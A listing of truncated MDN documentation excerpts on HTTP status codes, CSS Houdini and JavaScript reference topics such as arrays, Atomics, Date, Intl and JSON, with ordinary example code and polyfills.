the http 103 early hints information response status code is primarily intended to be used with the link header to allow the user agent to start preloading resources while the server is still preparing a response. syntax 103 early hints specifications specification status comments rfc 8297: 103 early hints ietf rfc initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. no compatibility data found. please contribute data for "http.status.103" (depth: 1) to the mdn compatibility data repository. ...
205 Reset Content - HTTP
Web › HTTP › Status › 205
...
301 Moved Permanently - HTTP
Web › HTTP › Status › 301
even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there. ...
302 Found - HTTP
Web › HTTP › Status › 302
even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents conform here - you can still find this type of bugged software out there. ...
304 Not Modified - HTTP
Web › HTTP › Status › 304
esources. it is an implicit redirection to a cached resource. this happens when the request method is safe, like a get or a head request, or when the request is conditional and uses a if-none-match or a if-modified-since header. the equivalent 200 ok response would have included the headers cache-control, content-location, date, etag, expires, and vary. many developer tools' network panels of browsers create extraneous requests leading to 304 responses, so that access to the local cache is visible to developers. status 304 not modified specifications specification title rfc 7232, section 4.1: 304 not modified hypertext transfer protocol (http/1.1): conditional requests ...
308 Permanent Redirect - HTTP
Web › HTTP › Status › 308
the request method and the body will not be altered, whereas 301 may incorrectly sometimes be changed to a get method. note: some web applications may use the 308 permanent redirect in a non-standard way and for other purposes. ...
407 Proxy Authentication Required - HTTP
Web › HTTP › Status › 407
this status is sent with a proxy-authenticate header that contains information on how to authorize correctly. ...
408 Request Timeout - HTTP
Web › HTTP › Status › 408
tatus code means that the server would like to shut down this unused connection. it is sent on an idle connection by some servers, even without any previous request by the client. a server should send the "close" connection header field in the response, since 408 implies that the server has decided to close the connection rather than continue waiting. this response is used much more since some browsers, like chrome, firefox 27+, and ie9, use http pre-connection mechanisms to speed up surfing. note: some servers merely shut down the connection without sending this message. status 408 request timeout specifications specification title rfc 7231, section 6.5.7: 408 request timeout hypertext transfer protocol (http/1.1): semantics and content ...
416 Range Not Satisfiable - HTTP
Web › HTTP › Status › 416
serve the requested ranges. the most likely reason is that the document doesn't contain such ranges, or that the range header value, though syntactically correct, doesn't make sense. the 416 response message contains a content-range indicating an unsatisfied range (that is a '*') followed by a '/' and the current length of the resource. e.g. content-range: bytes */12777 faced with this error, browsers usually either abort the operation (for example, a download will be considered as non-resumable) or ask for the whole document again. status 416 range not satisfiable specifications specification title rfc 7233, section 4.4: 416 request not satisfiable hypertext transfer protocol (http/1.1): range requests ...
CSS Houdini
houdini is a set of low-level apis that exposes parts of the css engine, giving developers the power to extend css by hooking into the styling and layout process of a browser’s rendering engine. houdini is a group of apis that give developers direct access to the css object model (cssom), enabling developers to write code the browser can parse as css, thereby creating new css features without waiting for them to be implemented natively in browsers. advantages of houdini houdini enables faster parse times than using javascript .style for style changes. browsers parse the cssom — including layout, paint, and composite processes — before applying any style updates found in scripts. in addition, layout, paint, and composite processes are repeated for javascript style updates. houd...
Equality comparisons and sameness - JavaScript
mber(a) attempts to convert its argument to a number before comparison. its behavior is equivalent to +a (the unary + operator). toprimitive(a) attempts to convert its object argument to a primitive value, by attempting to invoke varying sequences of a.tostring and a.valueof methods on a. traditionally, and according to ecmascript, all objects are loosely unequal to undefined and null. but most browsers permit a very narrow class of objects (specifically, the document.all object for any page), in some contexts, to act as if they emulate the value undefined. loose equality is one such context: null == a and undefined == a evaluate to true if, and only if, a is an object that emulates undefined. in all other cases an object is never loosely equal to undefined or null. var num = 0; var obj = ne...
Concurrency model and the event loop - JavaScript
re any other code runs (and can modify data the function manipulates). this differs from c, for instance, where if a function runs in a thread, it may be stopped at any point by the runtime system to run some other code in another thread. a downside of this model is that if a message takes too long to complete, the web application is unable to process user interactions like click or scroll. the browser mitigates this with the "a script is taking too long to run" dialog. a good practice to follow is to make message processing short and if possible cut down one message into several messages. adding messages in web browsers, messages are added anytime an event occurs and there is an event listener attached to it. if there is no listener, the event is lost. so a click on an element with a click...
Indexed collections - JavaScript
that an array can contain another array as an element. using this characteristic of javascript arrays, multi-dimensional arrays can be created. the following code creates a two-dimensional array. let a = new array(4) for (let i = 0; i < 4; i++) { a[i] = new array(4) for (let j = 0; j < 4; j++) { a[i][j] = '[' + i + ', ' + j + ']' } } this example creates an array with the following rows: row 0: [0, 0] [0, 1] [0, 2] [0, 3] row 1: [1, 0] [1, 1] [1, 2] [1, 3] row 2: [2, 0] [2, 1] [2, 2] [2, 3] row 3: [3, 0] [3, 1] [3, 2] [3, 3] using arrays to store other properties arrays can also be used like objects, to store related information. const arr = [1, 2, 3]; arr.property = "value"; console.log(arr.property); // logs "value" arrays and regular expressions when an array is the ...
Meta programming - JavaScript
because reflect.defineproperty returns a boolean success status, you can just use an if...else block here: if (reflect.defineproperty(target, property, attributes)) { // success } else { // failure } « previousnext » ...
Numbers and dates - JavaScript
var flt_mantissa = 0b00000000011111111111111111111111; // 8388607 octal numbers octal number syntax uses a leading zero. if the digits after the 0 are outside the range 0 through 7, the number will be interpreted as a decimal number. var n = 0755; // 493 var m = 0644; // 420 strict mode in ecmascript 5 forbids octal syntax. octal syntax isn't part of ecmascript 5, but it's supported in all browsers by prefixing the octal number with a zero: 0644 === 420 and "\045" === "%". in ecmascript 2015, octal numbers are supported if they are prefixed with 0o, e.g.: var a = 0o10; // es2015: 8 hexadecimal numbers hexadecimal number syntax uses a leading zero followed by a lowercase or uppercase latin letter "x" (0x or 0x). if the digits after 0x are outside the range (0123456789abcdef), the fo...
Groups and ranges - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'regexp: ranges' in that specification. ...
Unicode property escapes - JavaScript
etc. note: for unicode property escapes to work, a regular expression must use the u flag which indicates a string must be considered as a series of unicode code points. see also regexp.prototype.unicode. note: some unicode properties encompasses much more characters than some character classes (such as \w which matches only latin letters, a to z) but the latter is better supported among browsers (as of january 2020). syntax the following section is also duplicated on this cheatsheet. do not forget to edit it as well, thanks! // non-binary values \p{unicodepropertyvalue} \p{unicodepropertyname=unicodepropertyvalue} // binary and non-binary values \p{unicodebinarypropertyname} // negation: \p is negated \p \p{unicodepropertyvalue} \p{unicodebinarypropertyname} general_category...
Working with objects - JavaScript
« previousnext » javascript is designed on a simple object-based paradigm. an object is a collection of properties, and a property is an association between a name (or key) and a value. a property's value can be a function, in which case the property is known as a method. in addition to objects that are predefined in the browser, you can define your own objects. this chapter describes how to use objects, properties, functions, and methods, and how to create your own objects. objects overview objects in javascript, just as in many other programming languages, can be compared to objects in real life. the concept of objects in javascript can be understood with real life, tangible objects. in javascript, an object is a standalone entity, with properties and type. compare it w...
About the JavaScript reference - JavaScript
out the javascript language. the entire language is described here in detail. as you write javascript code, you'll refer to these pages often (thus the title "javascript reference"). if you're learning javascript, or need help understanding some of its capabilities or features, check out the javascript guide. the javascript language is intended to be used within some larger environment, be it a browser, server-side scripts, or similar. for the most part, this reference attempts to be environment-agnostic and does not target a web browser environment. where to find javascript information javascript documentation of core language features (pure ecmascript, for the most part) includes the following: the javascript guide the javascript reference if you are new to javascript, start with th...
Public class fields - JavaScript
see the compat information below. both static and instance public fields are writable, enumerable, and configurable properties. as such, unlike their private counterparts, they participate in prototype inheritance. ...
Classes - JavaScript
ght = height; this.width = width; } } static (class-side) data properties and prototype data properties must be defined outside of the classbody declaration: rectangle.staticwidth = 20; rectangle.prototype.prototypewidth = 25; field declarations public and private field declarations are an experimental feature (stage 3) proposed at tc39, the javascript standards committee. support in browsers is limited, but the feature can be used through a build step with systems like babel. public field declarations with the javascript field declaration syntax, the above example can be written as: class rectangle { height = 0; width; constructor(height, width) { this.height = height; this.width = width; } } by declaring fields up-front, class definitions become more self-do...
The legacy Iterator protocol - JavaScript
eature, which is removed in firefox 58+. for future-facing usages, consider using for..of loops and the iterator protocol. the deprecated firefox-only iterator protocol firefox, prior to version 26 implemented another iterator protocol that is similar to the standard es2015 iterator protocol. an object is an legacy iterator when it implements a next() method with the following semantics, and throws stopiteration at the end of iteration. property value next a zero arguments function that returns an value. difference between legacy and es2015 iterator protocols the value was returned directly as a return value of calls to next, instead of the value property of a placeholder object iteration termination was expressed by throwing a stopiteration object. sim...
Deprecated and obsolete features - JavaScript
they are expected to be removed entirely sometime in the future. you should work to remove their use from your code. regexp properties the following properties are deprecated. this does not affect their use in replacement strings: property description $1-$9 parenthesized substring matches, if any. warning: using these properties can result in problems, since browser extensions can modify them. avoid them! $_ see input. $* see multiline. $& see lastmatch. $+ see lastparen. $` see leftcontext. $' see rightcontext. input the string against which a regular expression is matched. lastmatch the last matched characters. lastparen the last parenthesized ...
TypeError: can't define property "x": "obj" is not extensible - JavaScript
an object is extensible and new properties can be added to it. however, in this case object.preventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible. examples adding new properties to a non-extensible objects in strict mode, attempting to add new properties to a non-extensible object throws a typeerror. in sloppy mode, the addition of the "x" property is silently ignored. 'use strict'; var obj = {}; object.preventextensions(obj); obj.x = 'foo'; // typeerror: can't define property "x": "obj" is not extensible in both, strict mode and sloppy mode, a call to object.defineproperty() throws when adding a new property to a non-extensible object. var obj = { }; object.preventextensio...
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
g to do with directly freeing memory. memory management is done indirectly via breaking references, see the memory management page and the delete operator page for more details. this error only happens in strict mode code. in non-strict code, the operation just returns false. examples freeing the contents of a variable attempting to delete a plain variable, doesn't work in javascript and it throws an error in strict mode: 'use strict'; var x; // ... delete x; // syntaxerror: applying the 'delete' operator to an unqualified name // is deprecated to free the contents of a variable, you can set it to null: 'use strict'; var x; // ... x = null; // x can be garbage collected ...
Warning: String.x is deprecated; use String.prototype.x instead - JavaScript
methods are deprecated and have been removed in firefox 68 and later. string generics provide string instance methods on the string object allowing string methods to be applied to any object. ...
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
t execution won't be halted. what went wrong? the non-standard date.prototype.tolocaleformat method is deprecated and shouldn't be used anymore. it uses a format string in the same format expected by the strftime() function in c. the function is no longer available in firefox 58+. examples deprecated syntax the date.prototype.tolocaleformat method is deprecated and will be removed (no cross-browser support, available in firefox only). var today = new date(); var date = today.tolocaleformat('%a, %e. %b %y'); console.log(date); // in german locale // "freitag, 10. märz 2017" alternative standard syntax using the ecmascript intl api the ecma-402 (ecmascript intl api) standard specifies standard objects and methods that enable language sensitive date and time formatting (available in chr...
SyntaxError: for-in loop head declarations may not have initializers - JavaScript
zer. (chrome) error type syntaxerror in strict mode only. what went wrong? the head of a for...in loop contains an initializer expression. that is, a variable is declared and assigned a value |for (var i = 0 in obj)|. in non-strict mode, this head declaration is silently ignored and behaves like |for (var i in obj)|. in strict mode, however, a syntaxerror is thrown. examples this example throws a syntaxerror: "use strict"; var obj = {a: 1, b: 2, c: 3 }; for (var i = 0 in obj) { console.log(obj[i]); } // syntaxerror: for-in loop head declarations may not have initializers valid for-in loop you can remove the initializer (i = 0) in the head of the for-in loop. "use strict"; var obj = {a: 1, b: 2, c: 3 }; for (var i in obj) { console.log(obj[i]); } array iteration the for.
SyntaxError: missing = in const declaration - JavaScript
assignment, and it can't be redeclared. in javascript, constants are declared using the const keyword. an initializer for a constant is required; that is, you must specify its value in the same statement in which it's declared (which makes sense, given that it can't be changed later). examples missing const initializer unlike var or let, you must specify a value for a const declaration. this throws: const columns; // syntaxerror: missing = in const declaration fixing the error there are multiple options to fix this error. check what was intended to be achieved with the constant in question. adding a constant value specify the constant value in the same statement in which it's declared: const columns = 80; const, let or var? do not use const if you weren't meaning to declare a consta...
RangeError: argument is not a valid code point - JavaScript
the javascript exception "invalid code point" occurs when nan values, negative integers (-1), non-integers (5.4), or values larger than 0x10ffff (1114111) are used with string.fromcodepoint(). message rangeerror: {0} is not a valid code point (firefox) rangeerror: invalid code point {0} (chromium) error type rangeerror what went wrong? string.fromcodepoint() throws this error when passed nan values, negative integers (-1), non-integers (5.4), or values larger than 0x10ffff (1114111). a code point is a value in the unicode codespace; that is, the range of integers from 0 to 0x10ffff. examples invalid cases string.fromcodepoint('_'); // rangeerror string.fromcodepoint(infinity); // rangeerror string.fromcodepoint(-1); // rangeerror string.fromcodepoint(3.14); // rangee...
SyntaxError: "x" is a reserved identifier - JavaScript
. var enum = { red: 0, green: 1, blue: 2 }; // syntaxerror: enum is a reserved identifier in strict mode code, more identifiers are reserved. "use strict"; var package = ["potatoes", "rice", "fries"]; // syntaxerror: package is a reserved identifier you'll need to rename these variables. var colorenum = { red: 0, green: 1, blue: 2 }; var list = ["potatoes", "rice", "fries"]; update older browsers if you are using an older browser that does not yet implement let or class, for example, you should update to a more recent browser version that does support these new language features. "use strict"; class docarchiver {} // syntaxerror: class is a reserved identifier // (throws in older browsers only, e.g. firefox 44 and older) ...
arguments[@@iterator]() - JavaScript
the initial value of the @@iterator property is the same function object as the initial value of the array.prototype.values property. syntax arguments[symbol.iterator]() examples iteration using for...of loop function f() { // your browser must support for..of loop // and let-scoped variables in for loops for (let letter of arguments) { console.log(letter); } } f('w', 'y', 'k', 'o', 'p'); specifications specification ecmascript (ecma-262)the definition of 'createunmappedargumentsobject' in that specification. ecmascript (ecma-262)the definition of 'createmappedargumentsobject' in that specification. ...
Rest parameters - JavaScript
function sortarguments() { let args = array.from(arguments) let sortedargs = args.sort() return sortedargs } console.log(sortarguments(5, 3, 7, 1)) // 1, 3, 5, 7 specifications specification ecmascript (ecma-262)the definition ...
Array.prototype.indexOf() - JavaScript
ue the first index of the element in the array; -1 if not found. description indexof() compares searchelement to elements of the array using strict equality (the same method used by the === or triple-equals operator). note: for the string method, see string.prototype.indexof(). polyfill indexof() was added to the ecma-262 standard in the 5th edition; as such it may not be present in all browsers. you can work around this by utilizing the following code at the beginning of your scripts. this will allow you to use indexof() when there is still no native support. this algorithm matches the one specified in ecma-262, 5th edition, assuming typeerror and math.abs() have their original values. // this version tries to optimize by only checking for "in" when looking for undefined and // skip...
Array.prototype.map() - JavaScript
ue and argument // list containing kvalue, k, and o. mappedvalue = callback.call(t, kvalue, k, o); // iii. call the defineownproperty internal method of a with arguments // pk, property descriptor // { value: mappedvalue, // writable: true, // enumerable: true, // configurable: true }, // and false. // in browsers that support object.defineproperty, use the following: // object.defineproperty(a, k, { // value: mappedvalue, // writable: true, // enumerable: true, // configurable: true // }); // for best browser support, use the following: a[k] = mappedvalue; } // d. increase k by 1. k++; } // 9. return a ...
Array.prototype.sort() - JavaScript
o call to comparefunction). if a and b are two elements being compared, then: if comparefunction(a, b) returns less than 0, sort a to an index lower than b (i.e. a comes first). if comparefunction(a, b) returns 0, leave a and b unchanged with respect to each other, but sorted with respect to all different elements. note: the ecmascript standard does not guarantee this behavior, thus, not all browsers (e.g. mozilla versions dating back to at least 2003) respect this. if comparefunction(a, b) returns greater than 0, sort b to an index lower than a (i.e. b comes first). comparefunction(a, b) must always return the same value when given a specific pair of elements a and b as its two arguments. if inconsistent results are returned, then the sort order is undefined. so, the compare function ...
Array - JavaScript
log(arr[0]) // logs 'this is the first element' console.log(arr[1]) // logs 'this is the second element' console.log(arr[arr.length - 1]) // logs 'this is the last element' array elements are object properties in the same way that tostring is a property (to be specific, however, tostring() is a method). nevertheless, trying to access an element of an array as follows throws a syntax error because the property name is not valid: console.log(arr.0) // a syntax error there is nothing special about javascript arrays and the properties that cause this. javascript properties that begin with a digit cannot be referenced with dot notation and must be accessed using bracket notation. for example, if you had an object with a property named 3d, it can only be referenced us...
Atomics.add() - JavaScript
ll request. syntax atomics.add(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to add a value to. value the number to add. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using add() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definiti...
Atomics.and() - JavaScript
ypedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to compute the bitwise and. value the number to compute the bitwise and with. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. description the bitwise and operation only yields 1, if both a and b are 1. the truth table for the and operation is: a b a & b 0 0 0 0 1 0 1 0 0 1 1 1 for example, a bitwise...
Atomics.compareExchange() - JavaScript
ters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to exchange a value. expectedvalue the value to check for equality. replacementvalue the number to exchange. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using compareexchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 7; atomics.compareexchange(ta, 0, 7, 12); // returns 7, the old value atomics.load(ta, 0); // 12 specifications specification ...
Atomics.exchange() - JavaScript
syntax atomics.exchange(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to exchange a value. value the number to exchange. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using exchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.exchange(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)th...
Atomics.load() - JavaScript
/mdn/interactive-examples and send us a pull request. syntax atomics.load(typedarray, index) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to load from. return value the value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using load const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.load' in that spec...
Atomics.notify() - JavaScript
n non-shared arraybuffer objects. syntax atomics.notify(typedarray, index, count) parameters typedarray a shared int32array. index the position in the typedarray to wake up on. count optional the number of sleeping agents to notify. defaults to +infinity. return value returns the number of woken up agents. returns 0, if a non-shared arraybuffer object is used. exceptions throws a typeerror, if typedarray is not a int32array. throws a rangeerror, if index is out of bounds in the typedarray. examples using notify given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0. as long as that is true, it will not go on. however, once the writing ...
Atomics.or() - JavaScript
(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to compute the bitwise or. value the number to compute the bitwise or with. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. description the bitwise or operation yields 1, if either a or b are 1. the truth table for the or operation is: a b a | b 0 0 0 0 1 1 1 0 1 1 1 1 for example, a bitwise or of...
Atomics.store() - JavaScript
es and send us a pull request. syntax atomics.store(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to store a value in. value the number to store. return value the value that has been stored. exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using store() var sab = new sharedarraybuffer(1024); var ta = new uint8array(sab); atomics.store(ta, 0, 12); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.store' in that specification. ...
Atomics.sub() - JavaScript
syntax atomics.sub(typedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to subtract a value from. value the number to subtract. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using sub const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 48; atomics.sub(ta, 0, 12); // returns 48, the old value atomics.load(ta, 0); // 36 specifications specification ecmascript (ecma-262)the ...
Atomics.wait() - JavaScript
allowed on the main thread. syntax atomics.wait(typedarray, index, value[, timeout]) parameters typedarray a shared int32array. index the position in the typedarray to wait on. value the expected value to test. timeout optional time to wait in milliseconds. infinity, if no time is provided. return value a string which is either "ok", "not-equal", or "timed-out". exceptions throws a typeerror, if typedarray is not a shared int32array. throws a rangeerror, if index is out of bounds in the typedarray. examples using wait() given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0. as long as that is true, it will not go on. however, once the w...
Atomics.xor() - JavaScript
ypedarray, index, value) parameters typedarray an integer typed array. one of int8array, uint8array, int16array, uint16array, int32array, uint32array, bigint64array, or biguint64array. index the position in the typedarray to compute the bitwise xor. value the number to compute the bitwise xor with. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. description the bitwise xor operation yields 1, if a and b are different. the truth table for the xor operation is: a b a ^ b 0 0 0 0 1 1 1 0 1 1 1 0 for example, a bitwise x...
Atomics - JavaScript
a value at the specified index of the array. returns the value. atomics.sub() subtracts a value at the specified index of the array. returns the old value at that index. atomics.wait() verifies that the specified index of the array still contains a value and sleeps awaiting or times out. returns either "ok", "not-equal", or "timed-out". if waiting is not allowed in the calling agent then it throws an error exception. (most browsers will not allow wait() on the browser's main thread.) atomics.xor() computes a bitwise xor on the value at the specified index of the array with the provided value. returns the old value at that index. examples using atomics const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.add(ta, 0, 12); atomics.load(ta, 0); // 1...
Date.prototype[@@toPrimitive] - JavaScript
eturn either a string or a number. description the [@@toprimitive]() method of the date object returns a primitive value, that is either of type number or of type string. if hint is "string" or "default", [@@toprimitive]() tries to call the tostring method. if the tostring property does not exist, it tries to call the valueof method and if the valueof does not exist either, [@@toprimitive]() throws a typeerror. if hint is "number", [@@toprimitive]() first tries to call valueof, and if that fails, it calls tostring. javascript calls the [@@toprimitive]() method to convert an object to a primitive value. you rarely need to invoke the [@@toprimitive]() method yourself; javascript automatically invokes it when encountering an object where a primitive value is expected. examples returning da...
Date.now() - JavaScript
in ecma-262 5th edition. engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.now) { date.now = function now() { return new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 date.now() // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled date.now(); // 1519129853500 // 1519129858900 // 15191298644...
Date.prototype.toGMTString() - JavaScript
note: togmtstring() is deprecated and should no longer be used. it remains implemented only for backward compatibility; please use toutcstring() instead. syntax dateobj.togmtstring() return value a string representing the given date following the internet greenwich mean time (gmt) convention. ...
Date.prototype.toISOString() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'date.prototype.toisostring' in that specification. ...
Date.prototype.toLocaleDateString() - JavaScript
to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaledatestringsupportslocales() { try { new date().tolocaledatestring('i'); } catch (e) { return e.name === 'rangeerror'; } return false; } using locales this example shows some of the variations in loca...
Date.prototype.toLocaleTimeString() - JavaScript
to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaletimestringsupportslocales() { try { new date().tolocaletimestring('i'); } catch (e) { return e​.name === 'rangeerror'; } return false; } using locales this example shows some of the variations in l...
Error.prototype.lineNumber - JavaScript
in the file that raised this error. examples using linenumber var e = new error('could not parse input'); throw e; console.log(e.linenumber) // 2 alternative example using error event window.addeventlistener('error', function(e) { console.log(e.linenumber); // 5 }); var e = new error('could not parse input'); throw e; this is not a standard feature and lacks widespread support. see the browser compatability table below. specifications not part of any standard. ...
FinalizationRegistry - JavaScript
or not at all. it's likely that major implementations will call cleanup callbacks at some point during execution, but those calls may be substantially after the related object was reclaimed. there are also situations where even implementations that normally call cleanup callbacks are unlikely to call them: when the javascript program shuts down entirely (for instance, closing a tab in a browser). when the finalizationregistry instance itself is no longer reachable by javascript code. examples creating a new registry you create the registry passing in the callback: const registry = new finalizationregistry(heldvalue => { // .... }); registering objects for cleanup then you register any objects you want a cleanup callback for by calling the `register` method, passing i...
Function - JavaScript
this is because the top-level scope in node is not the global scope, and x will be local to the module. specifications specification ecmascript (ecma-262)the definition of 'function' in that specification. ...
Generator - JavaScript
irectly. instead, a generator instance can be returned from a generator function: function* generator() { yield 1; yield 2; yield 3; } const gen = generator(); // "generator { }" instance methods generator.prototype.next() returns a value yielded by the yield expression. generator.prototype.return() returns the given value and finishes the generator. generator.prototype.throw() throws an error to a generator (also finishes the generator, unless caught from within that generator). examples an infinite iterator function* infinite() { let index = 0; while (true) { yield index++; } } const generator = infinite(); // "generator { }" console.log(generator.next().value); // 0 console.log(generator.next().value); // 1 console.log(generator.next().value); // ...
Intl.DateTimeFormat() constructor - JavaScript
ing. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax new intl.datetimeformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings. to use the browser's default locale, omit this argument or pass undefined. unicode extension are supported (for example "en-us-u-ca-buddhist"). for the general form and interpretation of the locales argument, see the intl page. the following unicode extension keys are allowed: nu numbering system. possible values include: "arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "kh...
Intl.DateTimeFormat.prototype.format() - JavaScript
e.log(formatted.join('; ')); // → "setembro de 2012; dezembro de 2012; abril de 2012" avoid comparing formatted date values to static values most of the time, the formatting returned by format() is consistent. however, this might change in the future and isn't guaranteed for all the languages — output variations are by design and allowed by the specification. most notably, the ie and edge browsers insert bidirectional control characters around dates, so the output text will flow properly when concatenated with other text. for this reason you cannot expect to be able to compare the results of format() to a static value: let d = new date("2019-01-01t00:00:00.000000z"); let formatteddate = intl.datetimeformat(undefined, { year: 'numeric', month: 'numeric', day: 'numeric', hour: '...
Intl.DateTimeFormat - JavaScript
rmat(date)); // → "2:00:00.200 pm aedt" // sometimes even the us needs 24-hour time options = { year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric', second: 'numeric', hour12: false, timezone: 'america/los_angeles' }; console.log(new intl.datetimeformat('en-us', options).format(date)); // → "12/19/2012, 19:00:00" // to specify options but use the browser's default locale, use 'default' console.log(new intl.datetimeformat('default', options).format(date)); // → "12/19/2012, 19:00:00" // sometimes it's helpful to include the period of the day options = {hour: "numeric", dayperiod: "short"}; console.log(new intl.datetimeformat('en-us', options).format(date)); // → 10 at night the used calendar and numbering formats can also be set independe...
Intl.NumberFormat() constructor - JavaScript
or the us dollar, "eur" for the euro, or "cny" for the chinese rmb — see the current currency & funds code list. there is no default value; if the style is "currency", the currency property must be provided. currencydisplay how to display the currency in currency formatting. possible values are: "symbol" to use a localized currency symbol such as €, this is the default value, "narrowsymbol" to use a narrow format symbol ("$100" rather than "us$100"), "code" to use the iso currency code, "name" to use a localized currency name such as "dollar", currencysign in many locales, accounting format means to wrap the number with parentheses instead of appending a minus sign. you can enable this formatting by setting the currencysign option to "accounting". the default v...
JSON.parse() - JavaScript
yntax json.parse(text[, reviver]) parameters text the string to parse as json. see the json object for a description of json syntax. reviver optional if a function, this prescribes how the value originally produced by parsing is transformed, before being returned. return value the object, array, string, number, boolean, or null value corresponding to the given json text. exceptions throws a syntaxerror exception if the string to parse is not valid json. polyfill // from https://github.com/douglascrockford/json-js/blob/master/json2.js if (typeof json.parse !== "function") { var rx_one = /^[\],:{}\s]*$/; var rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fa-f]{4})/g; var rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[ee][+\-]?\d+)?/g; var rx_four = /(?:^|:|,)(?:\...
Map - JavaScript
r each iteration. key equality key equality is based on the samevaluezero algorithm. nan is considered the same as nan (even though nan !== nan) and all other values are considered equal according to the semantics of the === operator. in the current ecmascript specification, -0 and +0 are considered equal, although this was not so in earlier drafts. see "value equality for -0 and 0" in the browser compatibility table for details. objects vs. maps object is similar to map—both let you set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. for this reason (and because there were no built-in alternatives), objects have been used as maps historically. however, there are important differences that make map preferable in certain cases: ...
Math.fround() - JavaScript
d() is a static method of math, you always use it as math.fround(), rather than as a method of a math object you created (math is not a constructor). polyfill this can be emulated with the following function, if float32array are supported: math.fround = math.fround || (function (array) { return function(x) { return array[0] = x, array[0]; }; })(new float32array(1)); supporting older browsers is slower, but also possible: if (!math.fround) math.fround = function(arg) { arg = number(arg); // return early for ±0 and nan. if (!arg) return arg; var sign = arg < 0 ? -1 : 1; if (sign < 0) arg = -arg; // compute the exponent (8 bits, signed). var exp = math.floor(math.log(arg) / math.ln2); var powexp = math.pow(2, math.max(-126, math.min(exp, 127))); // handle subnorma...
Math - JavaScript
